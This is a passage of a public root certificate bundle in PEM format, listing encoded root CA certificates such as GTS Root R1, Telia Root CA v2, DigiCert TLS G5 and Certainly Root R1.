cP9Ymd70/aTSVaYgLXTWNLxBo1BfASdWtL4ndQavEi51mI38AjEAi/V3bNTIZargCyzuFJ0nN6T5
U6VR5CmD1/iQMVtCnwr1/q4AaOeMSQ+2b1tbFfLn
-----END CERTIFICATE-----

HiPKI Root CA - G1
==================
-----BEGIN CERTIFICATE-----
MIIFajCCA1KgAwIBAgIQLd2szmKXlKFD6LDNdmpeYDANBgkqhkiG9w0BAQsFADBPMQswCQYDVQQG
EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xGzAZBgNVBAMMEkhpUEtJ
IFJvb3QgQ0EgLSBHMTAeFw0xOTAyMjIwOTQ2MDRaFw0zNzEyMzExNTU5NTlaME8xCzAJBgNVBAYT
AlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEbMBkGA1UEAwwSSGlQS0kg
Um9vdCBDQSAtIEcxMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA9B5/UnMyDHPkvRN0
o9QwqNCuS9i233VHZvR85zkEHmpwINJaR3JnVfSl6J3VHiGh8Ge6zCFovkRTv4354twvVcg3Px+k
wJyz5HdcoEb+d/oaoDjq7Zpy3iu9lFc6uux55199QmQ5eiY29yTw1S+6lZgRZq2XNdZ1AYDgr/SE
YYwNHl98h5ZeQa/rh+r4XfEuiAU+TCK72h8q3VJGZDnzQs7ZngyzsHeXZJzA9KMuH5UHsBffMNsA
GJZMoYFL3QRtU6M9/Aes1MU3guvklQgZKILSQjqj2FPseYlgSGDIcpJQ3AOPgz+yQlda22rpEZfd
hSi8MEyr48KxRURHH+CKFgeW0iEPU8DtqX7UTuybCeyvQqww1r/REEXgphaypcXTT3OUM3ECoWqj
1jOXTyFjHluP2cFeRXF3D4FdXyGarYPM+l7WjSNfGz1BryB1ZlpK9p/7qxj3ccC2HTHsOyDry+K4
9a6SsvfhhEvyovKTmiKe0xRvNlS9H15ZFblzqMF8b3ti6RZsR1pl8w4Rm0bZ/W3c1pzAtH2lsN0/
Vm+h+fbkEkj9Bn8SV7apI09bA8PgcSojt/ewsTu8mL3WmKgMa/aOEmem8rJY5AIJEzypuxC00jBF
8ez3ABHfZfjcK0NVvxaXxA/VLGGEqnKG/uY6fsI/fe78LxQ+5oXdUG+3Se0CAwEAAaNCMEAwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ncX+l6o/vY9cdVouslGDDjYr7AwDgYDVR0PAQH/BAQD
AgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBQUfB13HAE4/+qddRxosuej6ip0691x1TPOhwEmSKsxBHi
7zNKpiMdDg1H2DfHb680f0+BazVP6XKlMeJ45/dOlBhbQH3PayFUhuaVevvGyuqcSE5XCV0vrPSl
tJczWNWseanMX/mF+lLFjfiRFOs6DRfQUsJ748JzjkZ4Bjgs6FzaZsT0pPBWGTMpWmWSBUdGSquE
wx4noR8RkpkndZMPvDY7l1ePJlsMu5wP1G4wB9TcXzZoZjmDlicmisjEOf6aIW/Vcobpf2Lll07Q
JNBAsNB1CI69aO4I1258EHBGG3zgiLKecoaZAeO/n0kZtCW+VmWuF2PlHt/o/0elv+EmBYTksMCv
5wiZqAxeJoBF1PhoL5aPruJKHJwWDBNvOIf2u8g0X5IDUXlwpt/L9ZlNec1OvFefQ05rLisY+Gpz
jLrFNe85akEez3GoorKGB1s6yeHvP2UEgEcyRHCVTjFnanRbEEV16rCf0OY1/k6fi8wrkkVbbiVg
hUbN0aqwdmaTd5a+g744tiROJgvM7XpWGuDpWsZkrUx6AEhEL7lAuxM+vhV4nYWBSipX3tUZQ9rb
yltHhoMLP7YNdnhzeSJesYAfz77RP1YQmCuVh6EfnWQUYDksswBVLuT1sw5XxJFBAJw/6KXf6vb/
yPCtbVKoF6ubYfwSUTXkJf2vqmqGOQ==
-----END CERTIFICATE-----

GlobalSign ECC Root CA - R4
===========================
-----BEGIN CERTIFICATE-----
MIIB3DCCAYOgAwIBAgINAgPlfvU/k/2lCSGypjAKBggqhkjOPQQDAjBQMSQwIgYDVQQLExtHbG9i
YWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wHhcNMTIxMTEzMDAwMDAwWhcNMzgwMTE5MDMxNDA3WjBQMSQwIgYDVQQLExtHbG9i
YWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAS4xnnTj2wlDp8uORkcA6SumuU5BwkW
ymOxuYb4ilfBV85C+nOh92VC/x7BALJucw7/xyHlGKSq2XE/qNS5zowdo0IwQDAOBgNVHQ8BAf8E
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVLB7rUW44kB/+wpu+74zyTyjhNUwCgYI
KoZIzj0EAwIDRwAwRAIgIk90crlgr/HmnKAWBVBfw147bmF0774BxL4YSFlhgjICICadVGNA3jdg
UM/I2O2dgq43mLyjj0xMqTQrbO/7lZsm
-----END CERTIFICATE-----

GTS Root R1
===========
-----BEGIN CERTIFICATE-----
MIIFVzCCAz+gAwIBAgINAgPlk28xsBNJiGuiFzANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQGEwJV
UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg
UjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE
ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx9vaM
f/vo27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7wCl7raKb0
xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjwTcLCeoiKu7rPWRnWr4+w
B7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0PfyblqAj+lug8aJRT7oM6iCsVlgmy4HqMLnXW
nOunVmSPlk9orj2XwoSPwLxAwAtcvfaHszVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly4cpk
9+aCEI3oncKKiPo4Zor8Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr06zq
kUspzBmkMiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92wO1A
K/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70paDPvOmbsB4om3xPX
V2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrNVjzRlwW5y0vtOUucxD/SVRNuJLDW
cfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEMBQAD
ggIBAJ+qQibbC5u+/x6Wki4+omVKapi6Ist9wTrYggoGxval3sBOh2Z5ofmmWJyq+bXmYOfg6LEe
QkEzCzc9zolwFcq1JKjPa7XSQCGYzyI0zzvFIoTgxQ6KfF2I5DUkzps+GlQebtuyh6f88/qBVRRi
ClmpIgUxPoLW7ttXNLwzldMXG+gnoot7TiYaelpkttGsN/H9oPM47HLwEXWdyzRSjeZ2axfG34ar
J45JK3VmgRAhpuo+9K4l/3wV3s6MJT/KYnAK9y8JZgfIPxz88NtFMN9iiMG1D53Dn0reWVlHxYci
NuaCp+0KueIHoI17eko8cdLiA6EfMgfdG+RCzgwARWGAtQsgWSl4vflVy2PFPEz0tv/bal8xa5me
LMFrUKTX5hgUvYU/Z6tGn6D/Qqc6f1zLXbBwHSs09dR2CQzreExZBfMzQsNhFRAbd03OIozUhfJF
fbdT6u9AWpQKXCBfTkBdYiJ23//OYb2MI3jSNwLgjt7RETeJ9r/tSQdirpLsQBqvFAnZ0E6yove+
7u7Y/9waLd64NnHi/Hm3lCXRSHNboTXns5lndcEZOitHTtNCjv0xyBZm2tIMPNuzjsmhDYAPexZ3
FL//2wmUspO8IFgV6dtxQ/PeEMMA3KgqlbbC1j+Qa3bbbP6MvPJwNQzcmRk13NfIRmPVNnGuV/u3
gm3c
-----END CERTIFICATE-----

GTS Root R3
===========
-----BEGIN CERTIFICATE-----
MIICCTCCAY6gAwIBAgINAgPluILrIPglJ209ZjAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJVUzEi
MCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMw
HhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZ
R29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcqhkjO
PQIBBgUrgQQAIgNiAAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUURout
736GjOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL24CejQjBA
MA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTB8Sa6oC2uhYHP0/Eq
Er24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEA9uEglRR7VKOQFhG/hMjqb2sXnh5GmCCbn9MN2azT
L818+FsuVbu/3ZL3pAzcMeGiAjEA/JdmZuVDFhOD3cffL74UOO0BzrEXGhF16b0DjyZ+hOXJYKaV
11RZt+cRLInUue4X
-----END CERTIFICATE-----

GTS Root R4
===========
-----BEGIN CERTIFICATE-----
MIICCTCCAY6gAwIBAgINAgPlwGjvYxqccpBQUjAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJVUzEi
MCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQw
HhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZ
R29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcqhkjO
PQIBBgUrgQQAIgNiAATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa6zzu
hXyiQHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvRHYqjQjBA
MA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSATNbrdP9JNqPV2Py1
PsVq8JQdjDAKBggqhkjOPQQDAwNpADBmAjEA6ED/g94D9J+uHXqnLrmvT/aDHQ4thQEd0dlq7A/C
r8deVl5c1RxYIigL9zC2L7F8AjEA8GE8p/SgguMh1YQdc4acLa/KNJvxn7kjNuK8YAOdgLOaVsjh
4rsUecrNIdSUtUlD
-----END CERTIFICATE-----

Telia Root CA v2
================
-----BEGIN CERTIFICATE-----
MIIFdDCCA1ygAwIBAgIPAWdfJ9b+euPkrL4JWwWeMA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYT
AkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2
MjAeFw0xODExMjkxMTU1NTRaFw00MzExMjkxMTU1NTRaMEQxCzAJBgNVBAYTAkZJMRowGAYDVQQK
DBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2MjCCAiIwDQYJKoZI
hvcNAQEBBQADggIPADCCAgoCggIBALLQPwe84nvQa5n44ndp586dpAO8gm2h/oFlH0wnrI4AuhZ7
6zBqAMCzdGh+sq/H1WKzej9Qyow2RCRj0jbpDIX2Q3bVTKFgcmfiKDOlyzG4OiIjNLh9vVYiQJ3q
9HsDrWj8soFPmNB06o3lfc1jw6P23pLCWBnglrvFxKk9pXSW/q/5iaq9lRdU2HhE8Qx3FZLgmEKn
pNaqIJLNwaCzlrI6hEKNfdWV5Nbb6WLEWLN5xYzTNTODn3WhUidhOPFZPY5Q4L15POdslv5e2QJl
tI5c0BE0312/UqeBAMN/mUWZFdUXyApT7GPzmX3MaRKGwhfwAZ6/hLzRUssbkmbOpFPlob/E2wnW
5olWK8jjfN7j/4nlNW4o6GwLI1GpJQXrSPjdscr6bAhR77cYbETKJuFzxokGgeWKrLDiKca5JLNr
RBH0pUPCTEPlcDaMtjNXepUugqD0XBCzYYP2AgWGLnwtbNwDRm41k9V6lS/eINhbfpSQBGq6WT0E
BXWdN6IOLj3rwaRSg/7Qa9RmjtzG6RJOHSpXqhC8fF6CfaamyfItufUXJ63RDolUK5X6wK0dmBR4
M0KGCqlztft0DbcbMBnEWg4cJ7faGND/isgFuvGqHKI3t+ZIpEYslOqodmJHixBTB0hXbOKSTbau
BcvcwUpej6w9GU7C7WB1K9vBykLVAgMBAAGjYzBhMB8GA1UdIwQYMBaAFHKs5DN5qkWH9v2sHZ7W
xy+G2CQ5MB0GA1UdDgQWBBRyrOQzeapFh/b9rB2e1scvhtgkOTAOBgNVHQ8BAf8EBAMCAQYwDwYD
VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAoDtZpwmUPjaE0n4vOaWWl/oRrfxn83EJ
8rKJhGdEr7nv7ZbsnGTbMjBvZ5qsfl+yqwE2foH65IRe0qw24GtixX1LDoJt0nZi0f6X+J8wfBj5
tFJ3gh1229MdqfDBmgC9bXXYfef6xzijnHDoRnkDry5023X4blMMA8iZGok1GTzTyVR8qPAs5m4H
eW9q4ebqkYJpCh3DflminmtGFZhb069GHWLIzoBSSRE/yQQSwxN8PzuKlts8oB4KtItUsiRnDe+C
y748fdHif64W1lZYudogsYMVoe+KTTJvQS8TUoKU1xrBeKJR3Stwbbca+few4GeXVtt8YVMJAygC
QMez2P2ccGrGKMOF6eLtGpOg3kuYooQ+BXcBlj37tCAPnHICehIv1aO6UXivKitEZU61/Qrowc15
h2Er3oBXRb9n8ZuRXqWk7FlIEA04x7D6w0RtBPV4UBySllva9bguulvP5fBqnUsvWHMtTy3EHD70
sz+rFQ47GUGKpMFXEmZxTPpT41frYpUJnlTd0cI8Vzy9OK2YZLe4A5pTVmBds9hCG1xLEooc6+t9
xnppxyd/pPiL8uSUZodL6ZQHCRJ5irLrdATczvREWeAWysUsWNc8e89ihmpQfTU2Zqf7N+cox9jQ
raVplI/owd8k+BsHMYeB2F326CjYSlKArBPuUBQemMc=
-----END CERTIFICATE-----

D-TRUST BR Root CA 1 2020
=========================
-----BEGIN CERTIFICATE-----
MIIC2zCCAmCgAwIBAgIQfMmPK4TX3+oPyWWa00tNljAKBggqhkjOPQQDAzBIMQswCQYDVQQGEwJE
RTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEJSIFJvb3QgQ0EgMSAy
MDIwMB4XDTIwMDIxMTA5NDUwMFoXDTM1MDIxMTA5NDQ1OVowSDELMAkGA1UEBhMCREUxFTATBgNV
BAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDEgMjAyMDB2MBAG
ByqGSM49AgEGBSuBBAAiA2IABMbLxyjR+4T1mu9CFCDhQ2tuda38KwOE1HaTJddZO0Flax7mNCq7
dPYSzuht56vkPE4/RAiLzRZxy7+SmfSk1zxQVFKQhYN4lGdnoxwJGT11NIXe7WB9xwy0QVK5buXu
QqOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFHOREKv/VbNafAkl1bK6CKBrqx9t
MA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6gPKA6hjhodHRwOi8vY3JsLmQtdHJ1c3Qu
bmV0L2NybC9kLXRydXN0X2JyX3Jvb3RfY2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVj
dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwQlIlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxP
PUQtVHJ1c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjOPQQD
AwNpADBmAjEAlJAtE/rhY/hhY+ithXhUkZy4kzg+GkHaQBZTQgjKL47xPoFWwKrY7RjEsK70Pvom
AjEA8yjixtsrmfu3Ubgko6SUeho/5jbiA1czijDLgsfWFBHVdWNbFJWcHwHP2NVypw87
-----END CERTIFICATE-----

D-TRUST EV Root CA 1 2020
=========================
-----BEGIN CERTIFICATE-----
MIIC2zCCAmCgAwIBAgIQXwJB13qHfEwDo6yWjfv/0DAKBggqhkjOPQQDAzBIMQswCQYDVQQGEwJE
RTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEVWIFJvb3QgQ0EgMSAy
MDIwMB4XDTIwMDIxMTEwMDAwMFoXDTM1MDIxMTA5NTk1OVowSDELMAkGA1UEBhMCREUxFTATBgNV
BAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDEgMjAyMDB2MBAG
ByqGSM49AgEGBSuBBAAiA2IABPEL3YZDIBnfl4XoIkqbz52Yv7QFJsnL46bSj8WeeHsxiamJrSc8
ZRCC/N/DnU7wMyPE0jL1HLDfMxddxfCxivnvubcUyilKwg+pf3VlSSowZ/Rk99Yad9rDwpdhQntJ
raOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFH8QARY3OqQo5FD4pPfsazK2/umL
MA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6gPKA6hjhodHRwOi8vY3JsLmQtdHJ1c3Qu
bmV0L2NybC9kLXRydXN0X2V2X3Jvb3RfY2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVj
dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwRVYlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxP
PUQtVHJ1c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjOPQQD
AwNpADBmAjEAyjzGKnXCXnViOTYAYFqLwZOZzNnbQTs7h5kXO9XMT8oi96CAy/m0sRtW9XLS/BnR
AjEAkfcwkz8QRitxpNA7RJvAKQIFskF3UfN5Wp6OFKBOQtJbgfM0agPnIjhQW+0ZT0MW
-----END CERTIFICATE-----

DigiCert TLS ECC P384 Root G5
=============================
-----BEGIN CERTIFICATE-----
MIICGTCCAZ+gAwIBAgIQCeCTZaz32ci5PhwLBCou8zAKBggqhkjOPQQDAzBOMQswCQYDVQQGEwJV
UzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJjAkBgNVBAMTHURpZ2lDZXJ0IFRMUyBFQ0MgUDM4
NCBSb290IEc1MB4XDTIxMDExNTAwMDAwMFoXDTQ2MDExNDIzNTk1OVowTjELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDkRpZ2lDZXJ0LCBJbmMuMSYwJAYDVQQDEx1EaWdpQ2VydCBUTFMgRUNDIFAzODQg
Um9vdCBHNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABMFEoc8Rl1Ca3iOCNQfN0MsYndLxf3c1Tzvd
lHJS7cI7+Oz6e2tYIOyZrsn8aLN1udsJ7MgT9U7GCh1mMEy7H0cKPGEQQil8pQgO4CLp0zVozptj
n4S1mU1YoI71VOeVyaNCMEAwHQYDVR0OBBYEFMFRRVBZqz7nLFr6ICISB4CIfBFqMA4GA1UdDwEB
/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gAMGUCMQCJao1H5+z8blUD2Wds
Jk6Dxv3J+ysTvLd6jLRl0mlpYxNjOyZQLgGheQaRnUi/wr4CMEfDFXuxoJGZSZOoPHzoRgaLLPIx
AJSdYsiJvRmEFOml+wG4DXZDjC5Ty3zfDBeWUA==
-----END CERTIFICATE-----

DigiCert TLS RSA4096 Root G5
============================
-----BEGIN CERTIFICATE-----
MIIFZjCCA06gAwIBAgIQCPm0eKj6ftpqMzeJ3nzPijANBgkqhkiG9w0BAQwFADBNMQswCQYDVQQG
EwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0
MDk2IFJvb3QgRzUwHhcNMjEwMTE1MDAwMDAwWhcNNDYwMTE0MjM1OTU5WjBNMQswCQYDVQQGEwJV
UzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0MDk2
IFJvb3QgRzUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCz0PTJeRGd/fxmgefM1eS8
7IE+ajWOLrfn3q/5B03PMJ3qCQuZvWxX2hhKuHisOjmopkisLnLlvevxGs3npAOpPxG02C+JFvuU
AT27L/gTBaF4HI4o4EXgg/RZG5Wzrn4DReW+wkL+7vI8toUTmDKdFqgpwgscONyfMXdcvyej/Ces
tyu9dJsXLfKB2l2w4SMXPohKEiPQ6s+d3gMXsUJKoBZMpG2T6T867jp8nVid9E6P/DsjyG244gXa
zOvswzH016cpVIDPRFtMbzCe88zdH5RDnU1/cHAN1DrRN/BsnZvAFJNY781BOHW8EwOVfH/jXOnV
DdXifBBiqmvwPXbzP6PosMH976pXTayGpxi0KcEsDr9kvimM2AItzVwv8n/vFfQMFawKsPHTDU9q
TXeXAaDxZre3zu/O7Oyldcqs4+Fj97ihBMi8ez9dLRYiVu1ISf6nL3kwJZu6ay0/nTvEF+cdLvvy
z6b84xQslpghjLSR6Rlgg/IwKwZzUNWYOwbpx4oMYIwo+FKbbuH2TbsGJJvXKyY//SovcfXWJL5/
MZ4PbeiPT02jP/816t9JXkGPhvnxd3lLG7SjXi/7RgLQZhNeXoVPzthwiHvOAbWWl9fNff2C+MIk
wcoBOU+NosEUQB+cZtUMCUbW8tDRSHZWOkPLtgoRObqME2wGtZ7P6wIDAQABo0IwQDAdBgNVHQ4E
FgQUUTMc7TZArxfTJc1paPKvTiM+s0EwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8w
DQYJKoZIhvcNAQEMBQADggIBAGCmr1tfV9qJ20tQqcQjNSH/0GEwhJG3PxDPJY7Jv0Y02cEhJhxw
GXIeo8mH/qlDZJY6yFMECrZBu8RHANmfGBg7sg7zNOok992vIGCukihfNudd5N7HPNtQOa27PShN
lnx2xlv0wdsUpasZYgcYQF+Xkdycx6u1UQ3maVNVzDl92sURVXLFO4uJ+DQtpBflF+aZfTCIITfN
MBc9uPK8qHWgQ9w+iUuQrm0D4ByjoJYJu32jtyoQREtGBzRj7TG5BO6jm5qu5jF49OokYTurWGT/
u4cnYiWB39yhL/btp/96j1EuMPikAdKFOV8BmZZvWltwGUb+hmA+rYAQCd05JS9Yf7vSdPD3Rh9G
OUrYU9DzLjtxpdRv/PNn5AeP3SYZ4Y1b+qOTEZvpyDrDVWiakuFSdjjo4bq9+0/V77PnSIMx8IIh
47a+p6tv75/fTM8BuGJqIz3nCU2AG3swpMPdB380vqQmsvZB6Akd4yCYqjdP//fx4ilwMUc/dNAU
FvohigLVigmUdy7yWSiLfFCSCmZ4OIN1xLVaqBHG5cGdZlXPU8Sv13WFqUITVuwhd4GTWgzqltlJ
yqEI8pc7bZsEGCREjnwB8twl2F6GmrE52/WRMmrRpnCKovfepEWFJqgejF0pW8hL2JpqA15w8oVP
bEtoL8pU9ozaMv7Da4M/OMZ+
-----END CERTIFICATE-----

Certainly Root R1
=================
-----BEGIN CERTIFICATE-----
MIIFRzCCAy+gAwIBAgIRAI4P+UuQcWhlM1T01EQ5t+AwDQYJKoZIhvcNAQELBQAwPTELMAkGA1UE
BhMCVVMxEjAQBgNVBAoTCUNlcnRhaW5seTEaMBgGA1UEAxMRQ2VydGFpbmx5IFJvb3QgUjEwHhcN
MjEwNDAxMDAwMDAwWhcNNDYwNDAxMDAwMDAwWjA9MQswCQYDVQQGEwJVUzESMBAGA1UEChMJQ2Vy
dGFpbmx5MRowGAYDVQQDExFDZXJ0YWlubHkgUm9vdCBSMTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBANA21B/q3avk0bbm+yLA3RMNansiExyXPGhjZjKcA7WNpIGD2ngwEc/csiu+kr+O
5MQTvqRoTNoCaBZ0vrLdBORrKt03H2As2/X3oXyVtwxwhi7xOu9S98zTm/mLvg7fMbedaFySpvXl
8wo0tf97ouSHocavFwDvA5HtqRxOcT3Si2yJ9HiG5mpJoM610rCrm/b01C7jcvk2xusVtyWMOvwl
DbMicyF0yEqWYZL1LwsYpfSt4u5BvQF5+paMjRcCMLT5r3gajLQ2EBAHBXDQ9DGQilHFhiZ5shGI
XsXwClTNSaa/ApzSRKft43jvRl5tcdF5cBxGX1HpyTfcX35pe0HfNEXgO4T0oYoKNp43zGJS4YkN
KPl6I7ENPT2a/Z2B7yyQwHtETrtJ4A5KVpK8y7XdeReJkd5hiXSSqOMyhb5OhaRLWcsrxXiOcVTQ
AjeZjOVJ6uBUcqQRBi8LjMFbvrWhsFNunLhgkR9Za/kt9JQKl7XsxXYDVBtlUrpMklZRNaBA2Cnb
rlJ2Oy0wQJuK0EJWtLeIAaSHO1OWzaMWj/Nmqhexx2DgwUMFDO6bW2BvBlyHWyf5QBGenDPBt+U1
VwV/J84XIIwc/PH72jEpSe31C4SnT8H2TsIonPru4K8H+zMReiFPCyEQtkA6qyI6BJyLm4SGcprS
p6XEtHWRqSsjAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1Ud
DgQWBBTgqj8ljZ9EXME66C6ud0yEPmcM9DANBgkqhkiG9w0BAQsFAAOCAgEAuVevuBLaV4OPaAsz
HQNTVfSVcOQrPbA56/qJYv331hgELyE03fFo8NWWWt7CgKPBjcZq91l3rhVkz1t5BXdm6ozTaw3d
8VkswTOlMIAVRQdFGjEitpIAq5lNOo93r6kiyi9jyhXWx8bwPWz8HA2YEGGeEaIi1wrykXprOQ4v
MMM2SZ/g6Q8CRFA3lFV96p/2O7qUpUzpvD5RtOjKkjZUbVwlKNrdrRT90+7iIgXr0PK3aBLXWopB
GsaSpVo7Y0VPv+E6dyIvXL9G+VoDhRNCX8reU9ditaY1BMJH/5n9hN9czulegChB8n3nHpDYT3Y+
gjwN/KUD+nsa2UUeYNrEjvn8K8l7lcUq/6qJ34IxD3L/DCfXCh5WAFAeDJDBlrXYFIW7pw0WwfgH
JBu6haEaBQmAupVjyTrsJZ9/nbqkRxWbRHDxakvWOF5D8xh+UG7pWijmZeZ3Gzr9Hb4DJqPb1OG7
fpYnKx3upPvaJVQTA945xsMfTZDsjxtK0hzthZU4UHlG1sGQUDGpXJpuHfUzVounmdLyyCwzk5Iw
x06MZTMQZBf9JBeW0Y3COmor6xOLRPIh80oat3df1+2IpHLlOR+Vnb5nwXARPbv0+Em34yaXOp/S
X3z7wJl8OSngex2/DaeP0ik0biQVy96QXr8axGbqwua6OV+KmalBWQewLK8=
-----END CERTIFICATE-----

Certainly Root E1
=================
-----BEGIN CERTIFICATE-----
MIIB9zCCAX2gAwIBAgIQBiUzsUcDMydc+Y2aub/M+DAKBggqhkjOPQQDAzA9MQswCQYDVQQGEwJV
UzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0YWlubHkgUm9vdCBFMTAeFw0yMTA0
MDEwMDAwMDBaFw00NjA0MDEwMDAwMDBaMD0xCzAJBgNVBAYTAlVTMRIwEAYDVQQKEwlDZXJ0YWlu
bHkxGjAYBgNVBAMTEUNlcnRhaW5seSBSb290IEUxMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE3m/4
fxzf7flHh4axpMCK+IKXgOqPyEpeKn2IaKcBYhSRJHpcnqMXfYqGITQYUBsQ3tA3SybHGWCA6TS9
YBk2QNYphwk8kXr2vBMj3VlOBF7PyAIcGFPBMdjaIOlEjeR2o0IwQDAOBgNVHQ8BAf8EBAMCAQYw
DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ygYy2R17ikq6+2uI1g4hevIIgcwCgYIKoZIzj0E
AwMDaAAwZQIxALGOWiDDshliTd6wT99u0nCK8Z9+aozmut6Dacpps6kFtZaSF4fC0urQe87YQVt8
rgIwRt7qy12a7DLCZRawTDBcMPPaTnOGBtjOiQRINzf43TNRnXCve1XYAS59BWQOhriR
-----END CERTIFICATE-----

Security Communication ECC RootCA1
==================================
-----BEGIN CERTIFICATE-----
MIICODCCAb6gAwIBAgIJANZdm7N4gS7rMAoGCCqGSM49BAMDMGExCzAJBgNVBAYTAkpQMSUwIwYD
